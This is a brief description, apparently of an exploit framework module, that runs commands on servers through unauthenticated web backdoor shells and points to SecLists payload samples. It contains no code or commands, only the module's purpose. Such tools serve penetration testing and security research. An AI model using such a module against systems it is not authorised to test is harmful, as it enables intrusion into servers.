Description

This module exploits unauthenticated simple web backdoor shells by leveraging the common backdoor shell's vulnerable parameter to execute commands. The SecLists project of Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells which is categorized under Payloads.
